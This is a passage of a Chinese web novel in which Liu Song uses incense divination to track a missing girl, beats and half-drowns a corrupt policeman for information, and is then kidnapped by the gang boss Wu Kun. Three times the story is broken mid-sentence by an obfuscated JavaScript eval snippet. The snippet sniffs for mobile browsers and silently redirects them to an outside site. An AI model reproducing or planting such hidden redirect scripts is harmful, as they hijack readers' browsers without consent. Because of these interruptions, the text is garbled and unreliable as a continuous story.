阿扎杂货铺。 柳颂站在船屋前,眼含期待地看向开着船过来的程彻。 程彻脸色灰败,对着柳颂摇了摇头。 身后的阿扎蹲在船上,双手不住地揉搓头发:“周围都找了,没有。这孩子能跑哪儿去呢?” 柳颂拍了拍他的肩膀:“先冷静一点,你再仔细回忆一下木木今天出门前有没有不对劲的地方?” “昨天晚上木木就说今天要去程彻家里学中文。今天吃完早饭她就划着小船走了,走之前还很兴奋,没什么异常的地方啊。” 柳颂眉头微皱:“会不会是她中途拐去了她朋友家玩?” 程彻摇了摇头:“以我对木木的了解,这孩子既然说要来我家,是不会半路跑去别的地方的。” 柳颂:“我听说最近有女人和小孩失踪,木木不会是被人绑架了吧?” 阿扎想到什么,猛地站了起来:“坏了,不会是……” 程彻:“怎么了?” 阿扎:“你们在南城待的时间不长可能不知道,十几年前南城有个地下组织,专门拐骗女人和小孩,供国外那些有钱人挑选玩弄。被选中的能苟延残喘一段时间,而那些没被选中的……则被拆开卖了。后来这个地下组织惹到了吴昆,被吴昆一锅端了,难道现在卷土重来了?不应该啊……” 又和吴昆有关? 柳颂:“为什么这么说?” “听说当年这个组织误把吴昆的老婆抓走了,害的吴昆到最后连他老婆的尸体都没找到。吴昆和他老婆是少年夫妻,感情很好,一怒之下联合了当时的几个帮派一起把这个地下组织给端了,上至东家,下到小弟,一个都没留。因为这件事,这些年吴昆虽然干了很多见不得光的事,却始终都没碰拐卖妇女这条线。不仅他自己不碰,也看不得其他人碰。随着吴昆势力越来越大,也没人敢去触他这个霉头。最近真的有很多女人和小孩失踪吗?” “我今天出去的时候听一个警察说的。” 听到柳颂的话,阿扎眼前一黑,往后踉跄了两步。 程彻伸手扶住阿扎的胳膊:“也别这么悲观,不是说没人敢触吴昆这个霉头吗?说不定结果没有那么糟呢?” 柳颂拍了拍阿扎的背,安慰道:“别着急,我们会和你一起找木木的。” 见阿扎还是一副魂不守舍的样子,柳颂心里也像堵了一块大石头一般喘不过气来。她的目光瞥到程彻的小船,脑海中不禁浮现出了木木的笑脸,小姑娘昨天还在笑眼弯弯地看着她,今天就不知所踪了。真是世事无常,也不知道木木现在怎么样,又没有生命危险? 她沉默了一会,终于下定决心开口:“给我一根你的头发。” 阿扎猝不及防:“啊?” 柳颂直接上手拔了一根阿扎的头发,转头进了杂货铺。 程彻面带疑惑地跟了过来,看见柳颂蹲在柜子前翻找,蹲下身问道:“你在找什么?我帮你找。” “香在哪里?” 阿扎也跟了进来,闻言道:“在柜子顶部的红色盒子里。” 程彻站起身从柜子顶部抽出红色盒子,打开后,里面是一捆捆的紫红色线香。 柳颂抽出一支香,点燃,屏住呼吸,双眼紧紧地盯着手里的香。 头见青白色的烟雾升腾旋转,最终消散在空气中。 柳颂吐出一口气,积攒了一晚上的愁容终于消散了几分,还好,木木还活着。 她抬起头屋内满脸疑惑的两人道:“放心吧,木木还活着。” 程彻和阿扎对视一眼,这是什么意思? “我不是说了吗,我会算命。只要这支香没有反应,就代表木木目前还没有生命危险。” 阿扎眼睛一亮:“真的吗!” “真的,不信你问程彻。” 程彻歪着头和柳颂对视,表情明显是不信,昨天晚上她不是开玩笑的吗?见阿扎看过来,程彻连忙收起表情,颇为严肃地点了点头。 柳颂正色道:“所以你现在仔细回忆一下,木木出去的时候有没有带和你有关的东西?” 和他有关的? “我养的猪仔算吗?” “猪仔?是活的吗?” 阿扎点了点头:“我家的母猪前两天刚生了一窝猪仔,粉粉嫩嫩的,木木很喜欢。早上她抱了一头说要带给你看。” 柳颂皱了皱眉头,如果是活的猪仔,那她的香不会有反应,是没有办法提供木木的下落的。不过,总要先试试看。 “带我去看看生猪仔的那头母猪。” …… 趁阿扎按照柳颂的要求去猪圈抽血的空档,程彻凑到柳颂面前,低声道:“你认真的吗?真会算命啊?” “当然。” 接过猪血,柳颂再次点香,火苗熄灭,白烟升腾。三人紧张地盯着缓缓升起的白烟,头见那白烟在空中打了个旋,如几缕丝线一般缠绕聚合,最终凝聚成一条白线指向外面。 柳颂闭上双眼,静心凝气细细感受,心绪随着烟雾来到了一户人家。 月落西山,一头脏兮兮的粉红色小猪仔肚皮向上被人扔在厨房的杂草堆上,已然没了气息。 *** 天蒙蒙亮,晨曦初露,三人循着香的指引终于驱车来到了那户人家所在的小镇。 小镇位于湄公河旁边,此时太阳初升,镇上飘起袅袅炊烟,河边不时有几个妇人结伴浣衣洗菜。 三人来到那户人家门外,程彻通过低矮的院墙看向院内,院子不大,几间老旧的木屋几乎要将小院占满。随着“吱呀”一声,一个矮胖男人从边上的一间屋子里推门出来,手里还端着一盆混合着不知名物质的暗红色血水。 程彻拉着柳颂往旁边一躲,阿扎见状也急忙蹲下身子躲避视线。 程彻:“我从后墙翻进去先打探一下情况,你们在这里静观其变,听我的信号。” 柳颂不赞同地摇了摇头:“现在还不知道里面有多少人,你一个人过去太危险了。” “没关系,我偷偷过去,不会打草惊蛇。阿扎,你看好她。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223875|151062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等一下。”柳颂拉住他,“我有办法。” 半晌,程彻和阿扎看着站在远处的柳颂对着空气自言自语。 程彻摸了摸胳膊,总感觉周围凉飕飕的,问道:“她在和谁说话,对面有人吗?” 阿扎:“柳小姐肯定是在占卜,她在聆听神谕!神会告诉我们木木的下落。” 程彻:这俩人怎么都神神叨叨的?不行,他还是得去打探一下情况。 没想到刚走两步就被阿扎拉住了:“柳小姐让咱俩在这等她,你去干什么?” 程彻:“不是,你和她才认识多久啊就这么听她的话?” 柳颂走过来:“进去吧,里面只有那一个人。”说完直接走到院前抬手敲门。 “哎?” 程彻猝不及防,这么直接的吗?还未来得及阻止,门已经从内部打开了。 黑胖男人看着站在门前的三人,用南城话问道:“你们找谁?” 柳颂无视他的话,撞开黑胖男人扶着门的手,径直朝着厨房走去。阿扎紧随其后。 “哎?你们是干什么的!” 身后,黑胖男人大吼大叫,下一秒就被程彻一把抓住,将双手反剪在身后。 这边程彻刚把黑胖男人按在地上,就听到阿扎大吼一声。一抬头,只见阿扎怒气冲冲地从厨房跑了回来,一把揪住黑胖男人的衣领:“你把我妹妹怎么了!” 黑胖男人本来在骂骂咧咧,被阿扎这突如其来的一问搞得一怔:“什么妹妹?” 柳颂站在厨房门口,只见厨房的桌子、柴草堆上全都是血,她抬脚迈了进去,待看清角落里的猪肉时终于松了一口气。 “阿扎,先别急,那不是木木。” 程彻把黑胖男人压到厨房门口,黑胖男人此时也反应了过来:“这个猪仔是你们的吗?你们想要,我把肉还给你们就是了,快点放开我!” 程彻手上使力:“别乱动!说清楚,猪仔从哪里来的?” “疼疼疼……我说。” 黑胖男人也没想到,他只是捡了头死掉的猪仔回来,就惹了这么个麻烦。 昨天傍晚他路过一条满是杂树和水草的狭窄河道,看到了一条小船卡在杂树中间。船上没有人,只有一头死掉的猪仔。他上前一看,这猪仔才死没几个小时,肉还没僵。扔在这里也是可惜,反正没人看见,他就把猪仔拿回家了。今天一大早他就起床处理死掉的猪仔,烧水拔毛、放血、切肉……忙活了好久,谁想到刚忙完还没来得及吃,这些人就找上门了。 真是白给他人做了嫁衣,早知如此,他就不贪这点小便宜了。 柳颂和程彻对视一眼,蹲下身问道:“你是说,你到的时候船上只有这头死掉的猪仔?没有其他东西了吗?” “真没有。” 阿扎:“那条船在哪?带我们过去看看。” 三人将黑胖男人绑到车后座,开车离开小镇。 小镇口,一个正在洗衣服的妇人突然抬起头,看向驶向远处的越野车,端起还未洗完的衣服离开了。 12. 再遇李安 湄公河旁,一辆黑色越野车穿过颠簸的乡间小路,最终在一条狭窄的河道边停下。 黑胖男人双手被捆住,只能用头指了指河道里被杂树困住的小船:“呐,就是这儿了,可以放我走了吧。” 阿扎率先奔下车,向河道边停靠的小船跑去。 程彻来到车后座给黑胖男人松了绑,黑胖男人跳下车,头也不回地跑了。 柳颂和程彻相继来到河边,三人合力将小船拉到了岸边。 船桨不知所踪,船舱里还有半船的积水。阿扎蹲下,在船舱里摸来摸去,终于摸到了一个豁口。 “小船不是被人划到这里的,是从上游漂下来的。这里河道狭窄、杂树丛生,小船到了这里被卡住了,船舱底部有个口子,估计是撞上了这些树导致的。” 听了阿扎的推导,程彻皱起眉头:“所以说木木不是在这里失踪的?” 阿扎点了点头,起身:“柳小姐,你能不能再帮忙算一下木木的下落?” 柳颂摇了摇头:“我算不了活人的下落。” ——我算的是死卦。 程彻想起了昨天晚上柳颂说的话,竟然都是真的。 程彻拉开车门:“既然船是从上游飘下来的,那我们就沿着河往上游去找,说不定有线索。” *** 日落西山,南城东郊。 他们沿着湄公河找了大半天,一点线索都没有。三个人已经一天一夜没有进食了,程彻把车停在路边。 “再往前走就要进城了,我先去这附近买点饭,不然还没找到木木,我们就先垮掉了。” 阿扎坐在车后座,麻木地望向窗外,毫无反应。 柳颂:“我和你一起去。” 程彻从车里翻出帽子和口罩戴上,下车:“不用。这里离城区太近了,你这个样子出去,万一被吴昆的人认出来就糟了。” 昨天晚上得知木木失踪,柳颂就着急忙慌地出来找,一时竟忘记了她还是个被追杀的人,一点伪装都没做,确实不宜在这附近露面,她只能又坐回了车里。 …… 车内,柳颂手指摩挲着紫红色线香,正纠结要不要再点一次,余光突然瞥到窗外不远处,一个熟悉的身影一闪而过。 那是? 她神色一凛,抬头看去,人影已经消失在前方路口。 “阿扎,程彻回来后和他说一声,我去去就回。” 说完不等阿扎反应,拉开车门就追了出去。 柳颂跑过两个路口,终于找到了那个身影,正是消失的李安! 看到柳颂,李安大惊失色:“你……你怎么在这里?” 柳颂观察着李安的表情,缓缓上前:“怎么,李警官是认定我已经死了吗?” 李安镇定下来:“我怎么会这么想呢?柳小姐,你不知道,警局前两天被抢劫了,我本来想去救你的,没成想晚了一步,眼睁睁看着你被坏人带走。” 柳颂冷眼看着他演戏,忍不住笑出声:“是吗?” 李安做出一副惋惜悔恨的样子:“都是我们不好,才害得柳小姐被坏人掳走。这段时间我彻夜难眠,一直在寻找你的下落,现在看到柳小姐你没事,真是太好了!” “哦?看不出来李警官还有一副菩萨心肠呢。” 李安后退:“既然柳小姐没事了,我就先走了。” 柳颂表情不变,骤然发难,一脚踹到李安腿上,手握成拳直冲李安面门而去。 李安猝不及防,捱了这一拳,疼得呲牙咧嘴。他表情阴冷,用南城话暗骂一句,挥拳反击。 柳颂打完一拳后快速后退,避开李安的反击。她灵巧地绕到李安背后,如一只猎豹般扑到李安的背上,双腿为钳紧紧地箍住李安的脖子。 “嗬嗬……” 李安被勒得脸色胀成猪肝色,他双目充血,双手不住地拍打柳颂的腿。 “是谁指使你给我下药的,说不说?” 李安呼吸困难,艰难地点头,待柳颂的腿松开后快速在地上滚了一圈,捂着脖子站起身。他低垂着双眼,掩下眼里的情绪:“那天……” 话音未落,他以迅雷不及掩耳之势冲向柳颂,抓住柳颂的胳膊将她拽离地面。 骤然腾空,柳颂忍受着手臂处的疼痛,抬脚就往李安身上踹,二人扭打在一块。 论敏捷灵巧,柳颂稳占上风,但这种近身肉搏,拼的就是实打实的力量。李安的力量明显更胜一筹,一个翻身将柳颂按在地上,双手紧紧地掐住了柳颂的脖子。 他用尽全身力气,额头上青筋突起,咬着后槽牙骂道:“不自量力的狗东西,也敢跑到你爷爷头上撒野!你怎么没死在那些人手里!” 柳颂呼吸困难,眼前一阵阵地发黑,双脚乱蹬,激起地上的尘土,活像一条濒死的鱼。 “小柳儿!” 台球焦急地在她身边飘来飘去,除了在柳颂面前,她并不能随心所欲地在其他人面前现行,每现形一次都要休养好久。前两天刚在光头面前现了形,现在的力量还不足以支撑她再次现行。她伸手去推李安,却只能从他身上穿过。 眼看着柳颂被掐的脸色涨红,台球束手无策,只能在李安身边飘来飘去。 李安眉头一皱:“嘶……”怎么感觉背后凉飕飕的? 柳颂眼前一片金星,已经什么都看不见了,她觉得自己的脑子此刻像生了锈的齿轮,已经转不动了。 不行,她不能就这样死掉!她还要去找木木的下落,她还要查帽子男的身份,她还要帮台球找尸骨,她还要为姐姐报仇……她还有好多事情要干,现在要她死在这等杂碎手里,未免也太憋屈了! 她一只手掐住李安的虎口,另一只手在地上不断摸索着。 看着地上被他扼住咽喉的柳颂,李安只觉得心中无限畅快:“哈哈哈,去死吧!” “砰!” 只见柳颂手里拿着半块砖头,用尽最后的力气狠狠地砸在了李安头上。 “啊!”后脑勺传来剧痛,李安被迫松开掐着柳颂的手,倒在地上。 “咳咳咳……” 新鲜空气经呼吸道不断涌入肺中,柳颂躺在地上止不住地咳嗽了起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233294|151062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她缓了一会,呼吸终于顺畅,捂着脖子踉跄起身,站到了李安面前。 李安趴在地上,后脑勺缓缓流出了一小滩血,将旁边的土染成了红色的血泥。 他还醒着,虚弱开口:“你、你竟然想杀我……” 柳颂脱下外套,将李安的双手牢牢绑在身后。 “你不是也想杀我吗?” 她拉住李安的一条腿,一瘸一拐地把他拖到河边。 “哎哎哎,干什么!” 眼看柳颂就要把他拖进河里,李安终于感到了害怕,“停下!停下!你不是想知道是谁绑的你吗?我说,我说还不行吗?” 柳颂不吭声,拽着李安的头发就把他的头往水里按。 “咕噜噜……咳咳咳……” 看着李安呛了好几口水后,柳颂终于把他湿透的脑袋从水里拉出来,冷声道:“早这样不就好了吗?” “咳咳……和我交接的是咳咳、是两个男人,三十多岁,一个高高壮壮留着光头,一个瘦瘦小小脸上留着八字胡……” 柳颂不耐烦地听着:“还有呢?” “没有了,我只见到这两个人,啊!” 柳颂又把他的头按进了水里,看着李安的头在水里扑腾了一会后把他拉出来:“还有呢?” “真没了,我真没有骗你!真的只有这两个人。那天他们拿着一包迷药找到我,说只要我把这个用在你身上,他们就会给我一笔钱。” “你这样做,不怕你们领导查你?” “局长是默许的……” “你不是说没别人了吗?” 眼看柳颂抓住他的头又要往水里按,李安连忙说道:“真的!局长一直都知道我们私底下干的这些事,就连他自己有时候也会参与的。” “那绑匪给你钱的时候还说了什么?” “没别的了,本来就是钱货两讫的事,他出钱、我办事,至于他们是谁、要干什么,我是真的不知道啊。”李安本来就嗜赌,钱到手后,他才不会管柳颂被带到了哪里,径直就跑去赌场玩了个痛快,直到今天把钱都输光了,才依依不舍地从赌场出来。谁知道这么倒霉,一出来就碰上这么个瘟神。 柳颂松开抓着李安头发的手,嗤笑一声。钱货两讫?呵,活生生一条人命,在他们眼里就是可以随意买卖的货物。 “那这次呢,你们局长参与了吗?” “没有,那两个人是直接找上我的。” 看来这条线索又断了。柳颂将李安的衬衫撕成两半,分别绑住他的手和脚,又将多余的一小条撕下来绑在了他破了个口子的后脑勺上,随后把自己的外套拿回来,站起身头也不回地离开了。 李安在身后大喊:“喂!你不给我松开吗?” 柳颂往回走着,台球飘在她身边:“就这样把他扔在那里了吗?” “反正死不了,天亮后就有人发现他了。” “他这种人就是活该……哎!小柳儿小心!” 柳颂眼皮一跳,还未来得及反应便被一只麻袋套住头,紧接着后脖颈一阵刺痛,晕了过去。 13. 柳颂被抓 月明星稀,水上浮村。 程彻和阿扎眼下青黑,垂头丧气地坐在高脚屋前的台阶上。 阿扎:“两天了,还是一点线索都没有。柳小姐那天明明和我说的是去去就回,没想到……” 程彻叹了一口气:“我已经托朋友帮忙一起找了,柳颂肯定是被人掳走的,否则以她的性格不可能不告而别。” 柳颂到底被谁掳走了?和木木的失踪有关吗?还是说她被吴昆发现了?也不知道她现在怎么样,有没有生命危险…… 程彻:“唉,先休息一晚吧,明天再接着找。” 今天阿扎突然晕倒,程彻才意识到自从木木失踪,他们两个已经三天三夜没休息了,实在是熬不住了。 两天前他买完饭回到车上,发现柳颂不见了。阿扎当时神情恍惚,完全没有注意到柳颂为什么跑下车,等程彻回来后才发现不对劲。柳颂当时没有伪装,为避免被吴昆的人发现,按理说是不会轻易下车乱晃的,除非她遇到了特别紧急的情况,不得不下车。 程彻和阿扎两个人在周围找了又找,根本就找不到柳颂的踪影。后来他们在河边隐秘的角落里发现了一个光着上身、被绑住手脚的人,向他打听了一番,才发现这个人是被柳颂绑在这里的。后来程彻半是威逼,半是利诱,从这个人嘴里撬出了他和柳颂的恩怨,得知这个人叫李安,是南城警局的一名警员。待问及柳颂的下落时,李安只说柳颂把他绑在这里就离开了,并不知道她的去向。程彻仔细审问了好久,确定李安说的是真话后帮他松了绑,并给了他一笔封口费。李安本来怒气冲冲,骤然得到一大笔钱后笑得合不拢嘴,连连承诺会把和柳颂有关的事情烂在肚子里。 解决完李安这个麻烦,程彻和阿扎接着寻找柳颂的下落,一连找了两天都毫无音讯。 …… 阿扎垂头丧气地起身,坐上小船:“那我先回家,明天一早来找你。” 远处蛙鸣如潮,程彻闭上满是红血丝的眼睛倚靠在栏杆上,突然想起和柳颂第一次见面的那天晚上,也是这样的微风拂面、水声潺潺。 程彻拍了拍沾上土的裤腿,扶着栏杆起身回屋。耳后突然掀起一阵凉风,他打了个哆嗦,猛地回头。 身后是被月光照亮的河水,河岸边垂柳依依,从这里看过去像少女的发丝在轻轻晃动。 余光看到白影在窗边闪过,他转头看过去:“谁在那里?” 他目光紧盯窗边,慢慢抬脚走上楼梯,尽量放轻脚步。走着走着,眼睛一转,突然回头。 “谁!” 无人回答,空无一人。 程彻心跳如擂,走下楼梯,绕着高脚屋走了一圈。 “奇怪……” 他总觉得有人在看着他,可把容易藏人的地方找了一圈也没看到一个人影。他摇了摇头,三步并作两步上了楼梯,回屋去了。 河边风渐渐大了起来,将柳叶吹得哗哗作响。 程彻来到窗前,正准备关窗,风声突然呼啸,一大团柳叶随风刮到了他的脸上。 “呸呸呸……” 他吐掉刮进嘴里的柳叶,低头看向窗边满地的柳叶。现在才七月份,离秋天还早,怎么突然有这么多的落叶? 他心有所感,抓起地上的一把柳叶问道:“柳颂?是你吗?” 无人回答,空无一人,周围甚至连风声都没有了,安静得只剩下他自己的呼吸声。 在这极致的安静中,一道极细极小的女声在耳后响起:“程彻。” 程彻毛骨悚然,猛地回头:“谁!” 周围又安静了下来,程彻站起身,目光扫过屋子里的一切,并无异常。 难道有鬼? 不可能,这些都是封建迷信。 可是他今天也见识到了柳颂的算命本领,万一……真的有鬼呢? 难道,是柳颂遭遇了不测,变成鬼回来找他了? 不可能,世界上没有鬼,柳颂也不会那么轻易地就死掉。 程彻喉结动了动,走到窗边准备关上窗户。一张惨白的脸骤然贴在他脸前,惨白的脸上一双血红的眼睛,缓缓流下两行血泪,眼珠子混合着血泪掉了出来。 “啊啊啊!” 程彻用力关上窗户,试图把这张脸关在外面,没想到无济于事,女鬼的脸仍在眼前。 女鬼看到他关窗户,咧嘴一笑:“你竟然看见我了?” “鬼啊!” 程彻白眼一翻,“砰”地一声到在地上。 “哎,不是,你怎么也晕了啊?” *** 柳颂再睁眼时,发现自己被绑在椅子上,眼前一片漆黑。 四周阴冷潮湿,角落里传来窸窸窣窣的声音,不多时,一只老鼠“吱吱”叫着爬到她的身上,温热而滑腻的触感让柳颂浑身汗毛直立。 “唔、唔唔……” 柳颂嘴巴被烂布条塞住,叫喊不出来,双手双脚都被绑在椅子上,动弹不得。她只能扭动身躯、奋力挣扎,试图将老鼠甩出去,不成想动作幅度太大,连带着椅子一起侧翻倒地。 “砰!” 柳颂侧脸着地,激起一阵尘土。脸上火辣辣的疼,唯一值得庆幸的是把老鼠从身上甩了出去。 咔哒——钥匙开门的声音响起,柳颂循声望去,黑暗的屋子里骤然亮起刺眼的灯光,柳颂不适地眯起了眼睛。 “哟,醒了。” 一头卷毛的瘦高青年双手抱臂倚靠在门口,面露不屑地看着柳颂。 不知对方底细,柳颂不敢贸然开口,面无表情地和卷毛对视。 卷毛走上前来,蹲下身子掐住柳颂的脸,仔细端详:“你的眼睛很好看,不过我更喜欢里面盛满恐惧的样子。” 柳颂把头往旁边一扭,从卷毛手里挣脱出来。 卷毛擦了擦手,有些玩味地看着她:“你不好奇这里是哪儿吗?也对,你应该知道自己为什么被抓。” 柳颂冷笑一声,在南城想抓她的人不就只有那一个吗? 看柳颂有话要说,卷毛拽出她嘴里塞着的那块破布条。 柳颂一口口水吐在卷毛脸上:“你是个什么东西?让你们老大来和我说话。” 卷毛站起身,不急不慢地擦着自己的脸:“你也配?” 他向外走去,“既然知道自己为什么被抓,就早点把东西交出来,说不定老大一开心,能饶你们一命。” 屋内又陷入黑暗。 你们?除了她还有谁? 听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14240595|151062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着外面的声音远去,柳颂低声道:“台球,跟上他。” “好。” 台球穿过墙壁,飘在卷毛身后,跟着他爬上长长的楼梯,穿过花园,最终来到一间富丽堂皇的屋子门口。 卷毛停在虚掩着的房门门口,只听里面一声怒吼,接着便传来玻璃破碎的声音。 “废物,滚出去!” 一个中年男子屁滚尿流地从房间滚出来,看到卷毛,恭恭敬敬地地打招呼:“陈先生。” 陈迁摆了摆手示意他先下去,敲了敲虚掩着的房门。 “进来!” 看到陈迁,吴昆脸色缓和了些,“小迁啊,事儿办得怎么样了?” “老大。没找到程彻,我就派人把程彻的女朋友抓来了。” “他还有女朋友?” “昨天花姐在河边洗衣服时看见了那小子,当时他女朋友就站在他旁边,程彻对她很照顾,两个人看起来感情不错。” 台球悄悄飘进屋内,只见一个五十多岁的男子坐在桌后,身材矮胖,面容和善,让人第一眼看去只以为这是个好说话的大善人,待仔细瞧时,才发现那双眼睛里闪着精明的光。 他将手里的宝石手串往桌子上一扔:“那就好。程彻这个狗东西,竟然敢骗到我吴昆头上,可惜了那颗塔菲石。不过现在他女朋友在我们手上,也不怕他不现身。” 陈迁点了点头,转头说起另一件事:“珠陀山那边又失败了?” 吴昆冷哼一声:“提起这个我就来气。那鬼地方也真是邪门,派了这么多人进去,不是迷路就是失踪,真tm晦气!” “云大师怎么说?” “还是那套说辞,说我们的祭品不够……”吴昆眉毛一拧,“他不能是骗老子的吧?” 陈迁:“云大师怎样暂且不论,但阿鹏死前说见过那条矿脉,也确实拿出了纯度极高的红宝石。如果珠陀山真的有刚玉矿的话,别说称霸南城了,就连整个东南国都将有咱们的一席之地。” 红宝石是三氧化二铬含量高于百分之零点一的刚玉,红宝石的色彩越纯正,其品质就越高。极品的红宝石有“鸽血红”的美称,极其珍贵。可惜刚玉矿大多分布在东南国周边国家,而东南国的红宝石产量低、颜色暗、透明度也低。若是这次真的能在陀山开采出鸽血红……这对吴昆来说无疑是极大的诱惑。 吴昆:“接着派人进去!另外,多找点祭品过来,小心行事,别太引人注目了。” 若是被其他几个帮派盯上,他吴昆想独占这条刚玉矿脉就难上加难了。 *** 地下室。 “你是说,吴昆抓我是用来要挟程彻的?” 台球也有些疑惑:“对啊,他们连你叫什么都不知道,以为你是程彻的女朋友。” 柳颂有些不可置信,怎么会这样呢?难道说她一直以来都认错了凶手,杀她姐姐的帽子男不是吴昆? 柳颂面容严肃,如果真是她搞错了,那她现在的处境可就危险了。据八字胡所说,他们老大下令留她活口,所以柳颂才暂且不担心自己的小命。若她现在只是个用来要挟程彻的工具,那她的脑袋可就算是拴在裤腰带上——随时要掉了。 不行,得想办法自救。